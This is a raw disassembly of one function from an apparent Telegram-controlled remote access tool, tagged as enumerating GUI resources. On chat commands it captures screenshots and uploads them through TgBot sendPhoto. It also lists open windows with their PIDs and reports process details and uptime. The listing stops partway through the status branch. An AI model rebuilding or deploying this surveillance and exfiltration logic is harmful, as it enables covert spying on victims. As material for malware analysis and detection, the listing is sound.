Function at 0x14001c110
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
movaps xmmword [rsp + 0x2e0], xmm6
mov rax, qword [0x14007a100]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov r15, rdx
mov r12, rcx
mov qword [rbp + 0x78], rdx
xor r13d, r13d
mov dword [rbp - 8], r13d
mov rbx, qword [rdx]
mov rax, qword [rbx + 0x30]
mov rcx, qword [rax + 0x30]
cmp qword [rcx], 0x322c0dea
je 0x14001c185
mov rbx, qword [rdx + 8]
test rbx, rbx
je 0x14001eb05
mov r14d, 0xffffffff
jmp 0x14001eadb
sub rbx, 0xffffffffffffff80
mov rcx, rbx
mov rsi, qword [rbx + 0x18]
cmp rsi, 0xf
jbe 0x14001c199
mov rcx, qword [rbx]
mov rdi, qword [rbx + 0x10]
mov r14d, 0xffffffff
cmp rdi, 6
jne 0x14001c9ea
mov r8, rdi
lea rdx, str.screen
call fcn.14005bdc0
test eax, eax
jne 0x14001c9ea
lea rcx, [rbp - 0x70]
call fcn.140010100
nop
mov r8d, 0xd
lea rdx, str.gasscreen.jpg
mov rcx, rax
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001c257
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c252
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb61
call fcn.14002ed30
movdqa xmm6, xmmword [0x14006dec0]
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], 0
lea rax, [rbp + 0x30]
mov qword [rbp - 8], rax
lea rdx, str.gasscreen
lea rcx, [rbp + 0x30]
call fcn.140009450
mov r13, rax
lea rcx, [rbp - 0x50]
call fcn.140010100
mov rbx, rax
mov r8, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001c29c
mov r8, qword [rax]
lea rdi, [rax + 0x10]
xor ecx, ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
mov r9d, dword [rdi]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rsi, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xor eax, eax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov r8, rsi
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.14000ced0
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
cmp qword [rbx + 0x18], 0xf
jbe 0x14001c2f9
mov rbx, qword [rbx]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rcx
mov r9d, dword [rdi]
mov r8, rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
nop
mov rdx, r13
lea rcx, [rsp + 0x70]
call fcn.14002a580
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14001c35f
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c35a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb67
call fcn.14002ed30
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x80]
call fcn.14005ba20
lea rdx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rdx, qword [rbp + 0x190]
mov r8d, 1
lea rcx, [rbp + 0x80]
call fcn.140005320
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], rsi
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x7c], edx
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x90], 6
jne 0x14001c926
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
xor r8d, r8d
lea rdx, [0x14006c110]
lea rcx, [rbp - 0x70]
call fcn.1400062c0
nop
lea rax, [rbp - 0x28]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
xor r8d, r8d
lea rdx, [0x14006c110]
lea rcx, [rbp - 0x50]
call fcn.1400062c0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
mov r8d, 0xd
lea rdx, str.gasscreen.jpg
lea rcx, [rbp + 0x30]
call fcn.1400062c0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
xor edi, edi
mov qword [rbp - 0x80], rdi
movdqu xmmword [rbp - 0x28], xmm0
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x18]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x58], xmm0
mov rcx, qword [rax]
mov qword [rbp + 0x58], rcx
mov rcx, qword [rax + 8]
mov qword [rbp + 0x60], rcx
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov dword [rbp + 0x50], edi
mov rax, qword [r15]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rax]
mov qword [rbp + 0x10], rcx
mov dword [rbp + 8], edi
mov rcx, qword [r12]
add rcx, 0x20
mov byte [rsp + 0x68], dil
mov dword [rsp + 0x60], edi
mov byte [rsp + 0x58], dil
mov byte [rsp + 0x50], dil
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], dil
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x50]
lea r8, [rbp + 8]
lea rdx, [rbp + 0x1b0]
call qword [sym.imp.TgBot.dll__sendPhoto_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D_s]
mov rbx, qword [rbp + 0x1b8]
test rbx, rbx
je 0x14001c54e
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14001c54e
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14001c54e
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rbx, qword [rbp - 0x10]
test rbx, rbx
je 0x14001c583
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14001c583
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14001c583
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
call fcn.140020ce0
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14001c5c9
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c5c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb6d
call fcn.14002ed30
movdqu xmmword [rbp + 0x40], xmm6
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14001c60d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c608
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb73
call fcn.14002ed30
movdqu xmmword [rbp - 0x40], xmm6
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001c651
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c64c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb79
call fcn.14002ed30
lea rcx, [rbp + 0x90]
call fcn.140005220
test rax, rax
jne 0x14001c6a3
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0xc8], 0
cmovne eax, edx
or eax, dword [rbp + rcx + 0x90]
and eax, 0x17
mov dword [rbp + rcx + 0x90], eax
mov edx, dword [rbp + rcx + 0x94]
and edx, eax
jne 0x14001eb7f
lea rcx, [rbp - 0x70]
call fcn.140010100
nop
mov r8d, 0xd
lea rdx, str.gasscreen.bmp
mov rcx, rax
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.14003ddb8
test eax, eax
jne 0x14001c722
cmp byte [0x14007e830], al
je 0x14001c763
lea rdx, str.Successfully_deleted:
lea rcx, [0x14007cdd0]
jmp 0x14001c739
cmp byte [0x14007e830], 0
je 0x14001c763
lea rdx, str.Error_deleting_file:
lea rcx, [0x14007cc30]
call fcn.140005e40
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
mov r8, qword [rbp - 0x80]
cmova rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.1400071e0
mov rcx, rax
call fcn.1400060f0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14001c79f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c79a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ebd0
call fcn.14002ed30
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001c7e4
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c7df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ebd6
call fcn.14002ed30
lea rcx, [rbp - 0x70]
call fcn.140010100
nop
mov r8d, 0xd
lea rdx, str.gasscreen.jpg
mov rcx, rax
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.14003ddb8
test eax, eax
jne 0x14001c863
cmp byte [0x14007e830], al
je 0x14001c8a4
lea rdx, str.Successfully_deleted:
lea rcx, [0x14007cdd0]
jmp 0x14001c87a
cmp byte [0x14007e830], 0
je 0x14001c8a4
lea rdx, str.Error_deleting_file:
lea rcx, [0x14007cc30]
call fcn.140005e40
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
mov r8, qword [rbp - 0x80]
cmova rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.1400071e0
mov rcx, rax
call fcn.1400060f0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14001c8e0
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c8db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ebdc
call fcn.14002ed30
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001c926
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c920
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ebe2
call fcn.14002ed30
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x80], rsi
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x90]
call fcn.140004390
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x7c], edx
lea r13, vtable.std::ios_base.0
mov qword [rbp + 0x130], r13
lea rcx, [rbp + 0x130]
call fcn.14002c4b4
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14001ead2
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e4a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb3d
jmp 0x14001e4a6
cmp rsi, 0xf
jbe 0x14001c9f3
mov rbx, qword [rbx]
cmp rdi, 7
jne 0x14001ccc7
mov r8, rdi
lea rdx, str.windows
mov rcx, rbx
call fcn.14005bdc0
test eax, eax
jne 0x14001ccc7
mov rcx, qword [0x14007e8e8]
mov rdx, qword [0x14007e8f0]
cmp rcx, rdx
je 0x14001ca3d
call fcn.140022cf0
mov rax, qword [0x14007e8e8]
mov qword [0x14007e8f0], rax
xor edx, edx
lea rcx, [0x140010420]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x80]
call fcn.14005ba20
lea rcx, [rbp + 0x80]
call fcn.1400201b0
nop
mov rdi, qword [0x14007e8f0]
mov rbx, qword [0x14007e8e8]
cmp rbx, rdi
je 0x14001cacf
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14001ca8d
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0x80]
call fcn.140025670
lea rdx, str.__PID:
mov rcx, rax
call fcn.14000c3c0
mov rcx, rax
mov edx, dword [rbx + 0x20]
call fcn.140008fb0
mov rcx, rax
lea rdx, [0x14006c588]
call fcn.14000c3c0
add rbx, 0x28
cmp rbx, rdi
jne 0x14001ca80
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x88]
call fcn.140021380
mov dword [rbp - 8], 0x30
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x88]
call fcn.14001fe90
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x7c], edx
lea r13, vtable.std::ios_base.0
mov qword [rbp + 0x108], r13
lea rcx, [rbp + 0x108]
call fcn.14002c4b4
nop
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova r8, qword [rsp + 0x70]
xor edi, edi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, dword [rbp - 0x80]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
xor r8d, r8d
lea rcx, [rbp + 0x190]
call fcn.140009620
mov dword [rbp - 8], WSACleanup
lea rcx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rcx, qword [rbp + 0x190]
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova r8, qword [rsp + 0x70]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp - 0x80]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
mov rax, qword [r15]
mov rdx, qword [rax + 0x30]
mov rdx, qword [rdx + 0x30]
lea r8, [rbp + 0x190]
mov rdx, qword [rdx]
mov rcx, qword [r12]
call fcn.140010cf0
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14001cc67
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cc62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ebe8
call fcn.14002ed30
movdqa xmm0, xmmword [0x14006dec0]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14001ead2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e4a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb43
jmp 0x14001e4a6
mov rdi, qword [r15]
lea rcx, [rdi + 0x80]
mov rsi, qword [rdi + 0x98]
cmp rsi, 0xf
jbe 0x14001cce5
mov rcx, qword [rdi + 0x80]
mov rbx, qword [rdi + 0x90]
cmp rbx, 8
jne 0x14001ceb7
mov r8, rbx
lea rdx, str.awindows
call fcn.14005bdc0
test eax, eax
jne 0x14001ceb7
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x14006deb0]
movdqu xmmword [rbp - 0x80], xmm1
mov word [rsp + 0x70], r13w
mov rcx, qword [0x14007e950]
mov rdx, qword [0x14007e958]
cmp rcx, rdx
je 0x14001cd4e
call fcn.140023370
mov rax, qword [0x14007e950]
mov qword [0x14007e958], rax
lea rdx, [rsp + 0x70]
lea rcx, [0x140011220]
call qword [sym.imp.USER32.dll_EnumWindows]
nop
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova r8, qword [rsp + 0x70]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, dword [rbp - 0x80]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
xor r8d, r8d
lea rcx, [rbp + 0x190]
call fcn.140009620
lea rcx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rcx, qword [rbp + 0x190]
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova r8, qword [rsp + 0x70]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp - 0x80]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
mov rax, qword [r15]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rcx + 0x30]
lea r8, [rbp + 0x190]
mov rdx, qword [rdx]
mov rcx, qword [r12]
call fcn.140010cf0
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14001ce57
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ce52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ebee
call fcn.14002ed30
movdqa xmm0, xmmword [0x14006dec0]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14001ead2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e4a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb49
jmp 0x14001e4a6
lea rcx, [rdi + 0x80]
cmp rsi, 0xf
jbe 0x14001cec7
mov rcx, qword [rcx]
cmp rbx, 7
jne 0x14001d045
mov r8, rbx
lea rdx, str.process
call fcn.14005bdc0
test eax, eax
jne 0x14001d045
lea rcx, [rbp - 0x70]
call fcn.140010650
mov rbx, rax
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x14001cf01
mov r8, qword [rax]
lea rdi, [rax + 0x10]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, dword [rdi]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rsi, eax
mov rdx, rsi
xor r8d, r8d
lea rcx, [rbp + 0x190]
call fcn.140009620
lea rcx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rcx, qword [rbp + 0x190]
cmp qword [rbx + 0x18], 7
jbe 0x14001cf5f
mov rbx, qword [rbx]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rcx
mov r9d, dword [rdi]
mov r8, rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
mov rax, qword [r15]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rcx + 0x30]
lea r8, [rbp + 0x190]
mov rdx, qword [rdx]
mov rcx, qword [r12]
call fcn.140010cf0
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14001cfe6
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cfe1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ebf4
call fcn.14002ed30
movdqa xmm0, xmmword [0x14006dec0]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14001ead2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e4a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb4f
jmp 0x14001e4a6
lea rcx, [rdi + 0x80]
cmp rsi, 0xf
jbe 0x14001d059
mov rcx, qword [rdi + 0x80]
cmp rbx, 6
jne 0x14001dc33
mov r8, rbx
lea rdx, str.status
call fcn.14005bdc0
test eax, eax
jne 0x14001dc33
lea rdx, [0x14006ce50]
lea rcx, [rbp + 0x1b0]
call fcn.140009450
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rsi, rax
movabs rax, 0x624dd2f1a9fbe77
mul rsi
sub rsi, rdx
shr rsi, 1
add rsi, rdx
shr rsi, 9
movabs rax, 0x23456789abcdf013
mul rsi
mov rdi, rsi
sub rdi, rdx
shr rdi, 1
add rdi, rdx
shr rdi, 0xb
imul rax, rdi, 0xe10
sub rsi, rax
movabs rax, 0x8888888888888889
mul rsi
mov rbx, rdx
shr rbx, 5
imul rax, rbx, 0x3c
sub rsi, rax
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x80]
call fcn.14005ba20
lea rcx, [rbp + 0x80]
call fcn.1400201b0
nop
lea rdx, str.PC_uptime:
lea rcx, [rbp + 0x80]
call fcn.14000c3c0
mov rcx, rax
mov rdx, rdi
call fcn.1400202c0
mov rcx, rax
lea rdx, [0x14006c760]
call fcn.14000c3c0
mov rcx, rax
mov rdx, rbx
call fcn.1400202c0
mov rcx, rax
lea rdx, str._min
call fcn.14000c3c0
mov rcx, rax
mov rdx, rsi
call fcn.1400202c0
mov rcx, rax
lea rdx, str._sec
call fcn.14000c3c0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x88]
call fcn.140021380
mov dword [rbp - 8], 0x600
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x88]
call fcn.14001fe90
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x7c], edx
lea r13, vtable.std::ios_base.0
mov qword [rbp + 0x108], r13
lea rcx, [rbp + 0x108]
call fcn.14002c4b4
nop
lea rdx, [0x14006c588]
lea rcx, [rbp - 0x50]
call fcn.14000b340
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
mov dword [rbp - 8], 0xe00
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1b0]
call fcn.14000b3d0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14001d296
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d291
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ebfa
call fcn.14002ed30
mov dword [rbp - 8], 0xc00
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14001d2de
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d2d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec00
call fcn.14002ed30
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rsi, rax
sub rsi, qword [0x14007e840]
movabs rax, 0x624dd2f1a9fbe77
mul rsi
sub rsi, rdx
shr rsi, 1
add rsi, rdx
shr rsi, 9
movabs rax, 0x23456789abcdf013
mul rsi
mov rdi, rsi
sub rdi, rdx
shr rdi, 1
add rdi, rdx
shr rdi, 0xb
imul rcx, rdi, 0xe10
sub rsi, rcx
movabs rax, 0x8888888888888889
mul rsi
mov rbx, rdx
shr rbx, 5
imul rax, rbx, 0x3c
sub rsi, rax
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x80]
call fcn.14005ba20
lea rcx, [rbp + 0x80]
call fcn.1400201b0
nop
lea rdx, str.Soft_uptime:
lea rcx, [rbp + 0x80]
call fcn.14000c3c0
